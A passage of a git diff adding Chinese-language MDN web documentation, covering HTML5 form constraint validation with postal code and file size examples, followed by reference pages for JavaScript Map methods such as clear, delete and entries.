<ul> + <li>a valid URI (as defined in <a class="external" href="http://www.ietf.org/rfc/rfc3986.txt" title="http://www.ietf.org/rfc/rfc3986.txt">RFC 3986</a>)</li> + <li>a valid IRI, without a query component (as defined in <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li> + <li>a valid IRI, with a query component without any unescaped non-ASCII character (as defined in <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li> + <li>a valid IRI, and the character set for the document is UTF-8 or UTF-16 (as defined in <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li> + </ul> + </td> + <td><strong>Type mismatch </strong>constraint violation</td> + </tr> + <tr> + <td> <span style="font-family: courier new;"><input type="email"></span></td> + <td>The value must follow the <a class="external" href="http://www.ietf.org/rfc/std/std68.txt" title="http://www.ietf.org/rfc/std/std68.txt">ABNF</a> production: <code>1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )</code> where: + <ul> + <li><code>atext</code> is defined in <a class="external" href="http://tools.ietf.org/html/rfc5322" title="http://tools.ietf.org/html/rfc5322">RFC 5322</a>, i.e., a US-ASCII letter (<span style="font-family: courier new;">A</span> to <span style="font-family: courier new;">Z</span> and <span style="font-family: courier new;">a</span>-<span style="font-family: courier new;">z</span>), a digit (<span style="font-family: courier new;">0</span> to <span style="font-family: courier new;">9</span>) or one of the following<span style="font-family: courier new;">! # $ % & ' * + - / = ? ` { } | ~ </span>special character,</li> + <li><code>ldh-str</code> is defined in <a class="external" href="http://www.apps.ietf.org/rfc/rfc1034.html#sec-3.5" title="http://www.apps.ietf.org/rfc/rfc1034.html#sec-3.5">RFC 1034</a>, i.e., US-ASCII letters, mixed with digits and <span style="font-family: courier new;">-</span> grouped in words separated by a dot (<span style="font-family: courier new;">.</span>).</li> + </ul> + + <div class="note"><strong>Note:</strong> if the {{ htmlattrxref("multiple", "input") }} attribute is set, several e-mail addresses can be set, as a comma-separated list, for this input. If any of these do not satisfy the condition described here, the <strong>Type mismatch </strong>constraint violation is triggered.</div> + </td> + <td><strong>Type mismatch </strong>constraint violation</td> + </tr> + </tbody> +</table> + +<p>Note that most input types don't have intrinsic constraints, as some are simply barred from constraint validation or have a sanitization algorithm transforming incorrect values to a correct default. </p> + +<h3 id="验证相关的特性(Attribute)">验证相关的特性(Attribute)</h3> + +<p>下列特性用于描述基本的约束:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">特性</th> + <th scope="col">支持该特性的 Input 类型</th> + <th scope="col">可接受的值</th> + <th scope="col">约束描述</th> + <th scope="col">Associated violation</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ htmlattrxref("pattern", "input") }}</td> + <td>text, search, url, tel, email, password</td> + <td>A <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions" title="https://developer.mozilla.org/en/JavaScript/Guide/Regular_Expressions">JavaScript regular expression</a> (compiled with the <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" title="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a> <code title="">global</code>, <code title="">ignoreCase</code>, and <code title="">multiline</code> flags <em>disabled)</em></td> + <td>输入的值必须匹配设置的模式。</td> + <td><strong>Pattern mismatch</strong> constraint violation</td> + </tr> + <tr> + <td rowspan="3">{{ htmlattrxref("min", "input") }}</td> + <td>range, number</td> + <td>A valid number</td> + <td rowspan="3">输入的值必须大于等于设置的最小值。</td> + <td rowspan="3"><strong>Underflow</strong> constraint violation</td> + </tr> + <tr> + <td>date, month, week</td> + <td>A valid date</td> + </tr> + <tr> + <td>datetime, datetime-local, time</td> + <td>A valid date and time</td> + </tr> + <tr> + <td rowspan="3">{{ htmlattrxref("max", "input") }}</td> + <td>range, number</td> + <td>A valid number</td> + <td rowspan="3">输入的值必须小于等于设置的最大值。</td> + <td rowspan="3"><strong>Overflow</strong> constraint violation</td> + </tr> + <tr> + <td>date, month, week</td> + <td>A valid date</td> + </tr> + <tr> + <td>datetime, datetime-local, time</td> + <td>A valid date and time</td> + </tr> + <tr> + <td>{{ htmlattrxref("required", "input") }}</td> + <td>text, search, url, tel, email, password, date, datetime, datetime-local, month, week, time, number, checkbox, radio, file; also on the {{ HTMLElement("select") }} and {{ HTMLElement("textarea") }} elements</td> + <td><em>none</em> as it is a Boolean attribute: its presence means <em>true</em>, its absence means <em>false</em></td> + <td>There must be a value (if set).</td> + <td><strong>Missing</strong> constraint violation</td> + </tr> + <tr> + <td rowspan="5">{{ htmlattrxref("step", "input") }}</td> + <td>date</td> + <td>An integer number of days</td> + <td rowspan="5">Unless the step is set to the <span style="font-family: courier new;">any</span> literal, the value must be <strong>min</strong> + an integral multiple of the step.</td> + <td rowspan="5"><strong>Step mismatch </strong>constraint violation</td> + </tr> + <tr> + <td>month</td> + <td>An integer number of months</td> + </tr> + <tr> + <td>week</td> + <td>An integer number of weeks</td> + </tr> + <tr> + <td>datetime, datetime-local, time</td> + <td>An integer number of seconds</td> + </tr> + <tr> + <td>range, number</td> + <td>An integer</td> + </tr> + <tr> + <td>{{ htmlattrxref("maxlength", "input") }}</td> + <td>text, search, url, tel, email, password; also on the {{ HTMLElement("textarea") }} element</td> + <td>An integer length</td> + <td>The number of characters (code points) must not exceed the value of the attribute.</td> + <td><strong>Too long</strong> constraint violation</td> + </tr> + </tbody> +</table> + +<h2 id="Constraint_validation_process"><span class="author-g-by4vjwmiwjiydpj7">Constraint validation process</span></h2> + +<p>Constraint validation is done through the Constraint Validation API either on a single form element or at the form level, on the {{ HTMLElement("form") }} element itself. The constraint validation is done in the following ways:</p> + +<ul> + <li>By a call to the checkValidity() method of a form-related <a href="/en-US/docs/DOM" title="en/DOM">DOM</a> interface (<code><a href="/en-US/docs/Web/API/HTMLInputElement" title="en/DOM/HTMLInputElement">HTMLInputElement</a></code>, <code><a href="/en-US/docs/Web/API/HTMLSelectElement" title="en/DOM/HTMLSelectElement">HTMLSelectElement</a></code>, <code><a href="/en-US/docs/Web/API/HTMLButtonElement" title="en/DOM/HTMLButtonElement">HTMLButtonElement</a></code> or <code><a href="/en-US/docs/Web/API/HTMLTextAreaElement" title="en/DOM/HTMLTextAreaElement">HTMLTextAreaElement</a></code>), which evaluates the constraints only on this element, allowing a script to get this information. (This is typically done by the user-agent when determining which of the <a href="/en-US/docs/Web/CSS" title="en/CSS">CSS</a> pseudo-classes, {{ Cssxref(":valid") }} or {{ Cssxref(":invalid") }}, applies.)</li> + <li>By a call to the checkValidity() function on the <code><a href="/en-US/docs/Web/API/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a></code> interface, which is called <em>statically validating the constraints</em>.</li> + <li>By submitting the form itself, which is called <em>interactively validating the constraints</em>.</li> +</ul> + +<div class="note"><strong>Note: </strong> + +<ul> + <li>If the {{ htmlattrxref("novalidate", "form") }} attribute is set on the {{ HTMLElement("form") }} element, interactive validation of the constraints doesn't happen.</li> + <li>Calling the send() method on the <a href="/en/DOM/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a> interface doesn't trigger a constraint validation. In other words, this method sends the form data to the server even if doesn't satisfy the constraints.</li> +</ul> +</div> + +<h2 id="Complex_constraints_using_HTML5_Constraint_API"><span class="author-g-by4vjwmiwjiydpj7">Complex constraints using HTML5 Constraint API</span></h2> + +<p><span class="author-g-by4vjwmiwjiydpj7">Using JavaScript and the Constraint API, it is possible to implement more complex constraints, for example, constraints combining several fields, or constraints involving complex calculations.</span></p> + +<p><span class="author-g-by4vjwmiwjiydpj7">Basically, the idea is to trigger JavaScript on some form field event (like <strong>onchange</strong>) to calculate whether the constraint is violated, and then to use the method <code><em>field</em>.setCustomValidity()</code> to set the result of the validation: an empty string means the constraint is satisfied, and any other string means there is an error and this string is the error message to display to the user.</span></p> + +<h3 id="Constraint_combining_several_fields_Postal_code_validation">Constraint combining several fields: Postal code validation</h3> + +<p>The postal code format varies from one country to another. Not only do most countries allow an optional prefix with the country code (like <code>D-</code> in Germany, <code>F- </code> in France or Switzerland), but some countries have postal codes with only a fixed number of digits; others, like the UK, have more complex structures, allowing letters at some specific positions.</p> + +<div class="note"> +<p><strong>Note: </strong>This is not a comprehensive postal code validation library, but rather a demonstration of the key concepts. </p> +</div> + +<p><span style="line-height: 1.5;">As an example, we will add a script checking the constraint validation for this simple form:</span></p> + +<pre class="brush: html notranslate"><form> + <label for="ZIP">ZIP : </label> + <input type="text" id="ZIP"> + <label for="Country">Country : </label> + <select id="Country"> + <option value="ch">Switzerland</option> + <option value="fr">France</option> + <option value="de">Germany</option> + <option value="nl">The Netherlands</option> + </select> + <input type="submit" value="Validate"> +</form></pre> + +<p>This displays the following form: </p> + +<p><label>Postal Code: </label><input> <label>Country: </label><select><option value="ch">Switzerland</option><option value="fr">France</option><option value="de">Germany</option><option value="nl">The Netherlands</option></select></p> + +<p>First, we write a function checking the constraint itself:</p> + +<pre class="brush: js notranslate">function checkZIP() { + // For each country, defines the pattern that the ZIP has to follow + var constraints = { + ch : [ '^(CH-)?\\d{4}$', "Switzerland ZIPs must have exactly 4 digits: e.g. CH-1950 or 1950" ], + fr : [ '^(F-)?\\d{5}$' , "France ZIPs must have exactly 5 digits: e.g. F-75012 or 75012" ], + de : [ '^(D-)?\\d{5}$' , "Germany ZIPs must have exactly 5 digits: e.g. D-12345 or 12345" ], + nl : [ '^(NL-)?\\d{4}\\s*([A-RT-Z][A-Z]|S[BCE-RT-Z])$', + "Nederland ZIPs must have exactly 4 digits, followed by 2 letters except SA, SD and SS" ] + }; + + // Read the country id + var country = document.getElementById("Country").value; + + // Get the NPA field + var ZIPField = document.getElementById("ZIP"); + + // Build the constraint checker + var constraint = new RegExp(constraints[country][0], ""); + console.log(constraint); + + + // Check it! + if (constraint.test(ZIPField.value)) { + // The ZIP follows the constraint, we use the ConstraintAPI to tell it + ZIPField.setCustomValidity(""); + } + else { + // The ZIP doesn't follow the constraint, we use the ConstraintAPI to + // give a message about the format required for this country + ZIPField.setCustomValidity(constraints[country][1]); + } +} +</pre> + +<p>Then we link it to the <strong>onchange</strong> event for the {{ HTMLElement("select") }} and the <strong>oninput</strong> event for the {{ HTMLElement("input") }}:</p> + +<pre class="brush: js notranslate">window.onload = function () { + document.getElementById("Country").onchange = checkZIP; + document.getElementById("ZIP").oninput = checkZIP; +}</pre> + +<p>You can see a <a href="/@api/deki/files/4744/=constraint.html" title="https://developer.mozilla.org/@api/deki/files/4744/=constraint.html">live example</a> of the postal code validation. </p> + +<h3 id="Limiting_the_size_of_a_file_before_its_upload">Limiting the size of a file before its upload</h3> + +<p>Another common constraint is to limit the size of a file to be uploaded. Checking this on the client side before the file is transmitted to the server requires combining the Constraint API, and especially the field.setCustomValidity() method, with another JavaScript API, here the HTML5 File API.</p> + +<p>Here is the HTML part:</p> + +<pre class="brush: html notranslate"><label for="FS">Select a file smaller than 75 kB : </label> +<input type="file" id="FS"></pre> + +<p>This displays:</p> + +<p><label>Select a file smaller than 75 kB : </label> <input></p> + + + +<p>The JavaScript reads the file selected, uses the File.size() method to get its size, compares it to the (hard coded) limit, and calls the Constraint API to inform the browser if there is a violation:</p> + +<pre class="brush: js notranslate">function checkFileSize() { + var FS = document.getElementById("FS"); + var files = FS.files; + + // If there is (at least) one file selected + if (files.length > 0) { + if (files[0].size > 75 * 1024) { // Check the constraint + FS.setCustomValidity("The selected file must not be larger than 75 kB"); + return; + } + } + // No custom constraint violation + FS.setCustomValidity(""); +}</pre> + + + +<p>Finally we hook the method with the correct event:</p> + +<pre class="brush: js notranslate">window.onload = function () { + document.getElementById("FS").onchange = checkFileSize; +}</pre> + +<p>You can see a <a href="/@api/deki/files/4745/=fileconstraint.html" title="https://developer.mozilla.org/@api/deki/files/4745/=fileconstraint.html">live example</a> of the File size constraint validation.</p> + +<h2 id="Visual_styling_of_constraint_validation"><span class="author-g-by4vjwmiwjiydpj7">Visual styling of constraint validation</span></h2> + +<p>Apart from setting constraints, web developers want to control what messages are displayed to the users and how they are styled.</p> + +<h3 id="Controlling_the_look_of_elements">Controlling the look of elements</h3> + +<p>The look of elements can be controlled via CSS pseudo-classes.</p> + +<h4 id="required_and_optional_CSS_pseudo-classes">:required and :optional CSS pseudo-classes</h4> + +<p>The <a href="/en-US/docs/Web/CSS/:required" title=":required"><code>:required</code></a> and <a href="/en-US/docs/Web/CSS/:optional" title=":optional"><code>:optional</code></a> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classes</a> allow writing selectors that match form elements that have the {{ htmlattrxref("required") }} attribute, or that don't have it.</p> + +<h4 id="-moz-placeholder_CSS_pseudo-class">:-moz-placeholder CSS pseudo-class</h4> + +<p>See <a href="/en-US/docs/Web/CSS/:-moz-placeholder" title="/en-US/docs/Web/CSS/:-moz-placeholder">:-moz-placeholder</a>.</p> + +<h4 id="valid_invalid_CSS_pseudo-classes">:valid :invalid CSS pseudo-classes</h4> + +<p>The <a href="/en-US/docs/Web/CSS/:valid" title="/en-US/docs/Web/CSS/:valid">:valid</a> and <a href="/en-US/docs/Web/CSS/:invalid" title="/en-US/docs/Web/CSS/:invalid?redirectlocale=en-US&redirectslug=CSS%2F%3Ainvalid">:invalid</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="/en-US/docs/Web/CSS/Pseudo-classes?redirectlocale=en-US&redirectslug=CSS%2FPseudo-classes">pseudo-classes</a> are used to represent <input> elements whose content validates and fails to validate respectively according to the input's type setting. These classes allow the user to style valid or invalid form elements to make it easier to identify elements that are either formatted correctly or incorrectly.</p> + +<h4 id="Default_styles">Default styles</h4> + +<h3 id="Controlling_the_text_of_constraints_violation">Controlling the text of constraints violation</h3> + +<h4 id="The_x-moz-errormessage_attribute">The x-moz-errormessage attribute</h4> + +<p>The x-moz-errormessage attribute is a Mozilla extension that allows you to specify the error message to display when a field does not successfully validate.</p> + +<div class="note"> +<p style="margin-left: 40px;">Note: This extension is non-standard.</p> +</div> + +<h4 id="Constraint_APIs_element.setCustomValidity">Constraint API's element.setCustomValidity()</h4> + +<p>The element.setCustomValidity(error) method is used to set a custom error message to be displayed when a form is submitted. The method works by taking a string parameter error. If error is a non-empty string, the method assumes validation was unsuccessful and displays error as an error message. If error is an empty string, the element is considered validated and resets the error message.</p> + +<h4 id="Constraint_APIs_ValidityState_object"><span class="author-g-by4vjwmiwjiydpj7">Constraint API's ValidityState object</span></h4> + +<p>The DOM <a href="/en-US/docs/Web/API/ValidityState" title="/en-US/docs/Web/API/ValidityState"><code>ValidityState</code></a> interface represents the <em>validity states</em> that an element can be in, with respect to constraint validation. Together, they help explain why an element's value fails to validate, if it's not valid.</p> + +<h3 id="Examples_of_personalized_styling"><span class="author-g-by4vjwmiwjiydpj7">Examples of personalized styling</span></h3> + +<h3 id="HTML4_fallback"><span class="author-g-by4vjwmiwjiydpj7">HTML4 fallback</span></h3> + +<h4 id="Trivial_fallback"><span class="author-g-by4vjwmiwjiydpj7">Trivial fallback</span></h4> + +<h4 id="JS_fallback"><span class="author-g-by4vjwmiwjiydpj7">JS fallback</span></h4> + +<h2 id="Conclusion"><span class="author-g-by4vjwmiwjiydpj7">Conclusion</span></h2> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/@@iterator/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/@@iterator/index.html new file mode 100644 index 0000000000..ea20d6b87e --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/@@iterator/index.html @@ -0,0 +1,103 @@ +--- +title: Map.prototype[@@iterator]() +slug: Web/JavaScript/Reference/Global_Objects/Map/@@iterator +translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@iterator +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Map + - Method + - Prototype + - Reference +browser-compat: javascript.builtins.Map.@@iterator +--- +<div>{{JSRef}}</div> + +<p><code><strong>@@iterator</strong></code><strong> </strong>属性的初始值与 {{jsxref("Map.prototype.entries()", "entries")}} 属性的初始值是同一个函数对象。</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-@@iterator.html")}}</div> + + + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><code><em>myMap</em>[Symbol.iterator]</code></pre> + +<h3 id="返回值">返回值</h3> + +<p>map 的 <strong>iterator</strong> 函数默认就是 {{jsxref("Map.prototype.entries()", "entries()")}} 函数。</p> + +<h2 id="示例">示例</h2> + +<h3 id="使用_iterator()">使用 <code>[@@iterator]()</code></h3> + +<pre class="brush:js">var myMap = new Map(); +myMap.set('0', 'foo'); +myMap.set(1, 'bar'); +myMap.set({}, 'baz'); + +var mapIter = myMap[Symbol.iterator](); +//返回的其实是个generator +console.log(mapIter.next().value); // ["0", "foo"] +console.log(mapIter.next().value); // [1, "bar"] +console.log(mapIter.next().value); // [Object, "baz"] +</pre> + +<h3 id="在for..of中使用iterator()">在<code>for..of中</code>使用<code>[@@iterator]()</code> </h3> + +<pre class="brush:js">var myMap = new Map(); +myMap.set('0', 'foo'); +myMap.set(1, 'bar'); +myMap.set({}, 'baz'); + +for (const entry of myMap) { + console.log(entry); +} +// ["0", "foo"] +// [1, "bar"] +// [{}, "baz"] + +for (var v of myMap) { + console.log(v); +} + +// 0: foo +// 1: bar +// [Object]: baz</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + + + +<p>{{Compat("javascript.builtins.Map.@@iterator")}}</p> + +<h2 id="另见">另见</h2> + +<ul> + <li>{{jsxref("Map.prototype.entries()")}}</li> + <li>{{jsxref("Map.prototype.keys()")}}</li> + <li>{{jsxref("Map.prototype.values()")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/@@species/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/@@species/index.html new file mode 100644 index 0000000000..f83042c356 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/@@species/index.html @@ -0,0 +1,73 @@ +--- +title: get Map[@@species] +slug: Web/JavaScript/Reference/Global_Objects/Map/@@species +translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@species +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Property +browser-compat: javascript.builtins.Map.@@species +--- +<div>{{JSRef}}</div> + +<p> <code><strong>Map[@@species]</strong></code> 访问器属性会返回一个 <code>Map</code> 构造函数.</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Map[Symbol.species] +</pre> + +<h2 id="描述">描述</h2> + +<p>The species accessor property returns the default constructor for <code>Map</code> objects. Subclass constructors may over-ride it to change the constructor assignment.</p> + +<h2 id="案例">案例</h2> + +<p>The species property returns the default constructor function, which is the <code>Map</code> constructor for <code>Map</code> objects:</p> + +<pre class="brush: js">Map[Symbol.species]; // function Map()</pre> + +<p>In a derived collection object (e.g. your custom map <code>MyMap</code>), the <code>MyMap</code> species is the <code>MyMap</code> constructor. However, you might want to overwrite this, in order to return parent <code>Map</code> objects in your derived class methods:</p> + +<pre class="brush: js">class MyMap extends Map { + // 重写覆盖 MyMap species to the parent Map constructor + static get [Symbol.species]() { return Map; } +}</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-get-map-@@species', 'get Map [ @@species ]')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-get-map-@@species', 'get Map [ @@species ]')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Map.@@species")}}</p> +</div> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("Symbol.species")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/@@tostringtag/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/@@tostringtag/index.html new file mode 100644 index 0000000000..cdc56ab916 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/@@tostringtag/index.html @@ -0,0 +1,103 @@ +--- +title: Map.prototype[@@toStringTag] +slug: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag +translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Property + - Prototype + - Reference +browser-compat: javascript.builtins.Map.@@toStringTag +--- +<div>{{JSRef}}</div> + +<p> <strong><code>Map[@@toStringTag]</code></strong> 的初始值是"Map".</p> + +<div>{{js_property_attributes(0,0,1)}}</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Map[Symbol.toStringTag]</pre> + +<h2 id="示例">示例</h2> + +<pre class="brush:js">Object.prototype.toString.call(new Map()) // "[object Map]" +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p>{{CompatibilityTable}} </p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(44.0) }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatChrome(44.0) }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(44.0)}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/clear/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/clear/index.html new file mode 100644 index 0000000000..799c948b22 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/clear/index.html @@ -0,0 +1,80 @@ +--- +title: Map.prototype.clear() +slug: Web/JavaScript/Reference/Global_Objects/Map/clear +translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Method + - Prototype + - Reference +browser-compat: javascript.builtins.Map.clear +--- +<div>{{JSRef}}</div> + +<p><code>clear()</code>方法会移除Map对象中的所有元素。</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}}</div> + + + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.clear();</code> +</pre> + +<h3 id="返回值">返回值</h3> + +<p>{{jsxref("undefined")}}.</p> + +<h2 id="示例">示例</h2> + +<h3 id="调用clear方法">调用<code>clear</code>方法</h3> + +<pre class="brush: js">var myMap = new Map(); +myMap.set("bar", "baz"); +myMap.set(1, "foo"); + +myMap.size; // 2 +myMap.has("bar"); // true + +myMap.clear(); + +myMap.size; // 0 +myMap.has("bar") // false +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + + + +<p>{{Compat("javascript.builtins.Map.clear")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{jsxref("Map")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/delete/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/delete/index.html new file mode 100644 index 0000000000..2d7bd693ff --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/delete/index.html @@ -0,0 +1,81 @@ +--- +title: Map.prototype.delete() +slug: Web/JavaScript/Reference/Global_Objects/Map/delete +translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Method + - Prototype + - Reference +browser-compat: javascript.builtins.Map.delete +--- +<div>{{JSRef}}</div> + +<p><strong> </strong><code><strong><strong>delete()</strong></strong></code><strong> </strong>方法用于移除 <code>Map</code> 对象中指定的元素。</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}</div> + + + +<h2 id="语法">语法</h2> + +<pre class="brush: js">myMap.delete(key);</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt>key</dt> + <dd>必须。从 <code>Map</code> 对象中移除的元素的键。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<dl> + <dt>Boolean</dt> + <dd>如果 <code>Map</code> 对象中存在该元素,则移除它并返回<em> <code>true</code></em>;否则如果该元素不存在则返回 <code><em>false</em></code>。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="使用_delete_方法">使用 <code>delete</code> 方法</h3> + +<pre class="brush: js">var myMap = new Map(); +myMap.set("bar", "foo"); + +myMap.delete("bar"); // 返回 true。成功地移除元素 +myMap.has("bar"); // 返回 false。"bar" 元素将不再存在于 Map 实例中 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("javascript.builtins.Map.delete")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{jsxref("Map")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/entries/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/entries/index.html new file mode 100644 index 0000000000..0887bfa854 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/entries/index.html @@ -0,0 +1,78 @@ +--- +title: Map.prototype.entries() +slug: Web/JavaScript/Reference/Global_Objects/Map/entries +translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Map + - Method + - Prototype +browser-compat: javascript.builtins.Map.entries +--- +<div>{{JSRef}}</div> + +<p><code><strong>entries()</strong></code> 方法返回一个新的包含 <code>[key, value]</code> 对的 <code><strong>Iterator</strong></code> 对象,返回的迭代器的迭代顺序与 <code>Map</code> 对象的插入顺序相同。</p> + +<p>{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}</p> + +<h2 id="语法">语法</h2> + +<pre><code><var>myMap</var>.entries()</code> +</pre> + +<h3 id="返回值">返回值</h3> + +<p>一个新的 {{jsxref("Map")}} 迭代器对象.</p> + +<h2 id="示例">示例</h2> + +<h3 id="entries()的使用"><code>entries()</code>的使用</h3> + +<pre class="brush:js">var myMap = new Map(); +myMap.set("0", "foo"); +myMap.set(1, "bar"); +myMap.set({}, "baz"); + +var mapIter = myMap.entries(); + +console.log(mapIter.next().value); // ["0", "foo"] +console.log(mapIter.next().value); // [1, "bar"] +console.log(mapIter.next().value); // [Object, "baz"] +</pre> + +<h2 id="规范">规范</h2> + +<table> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial 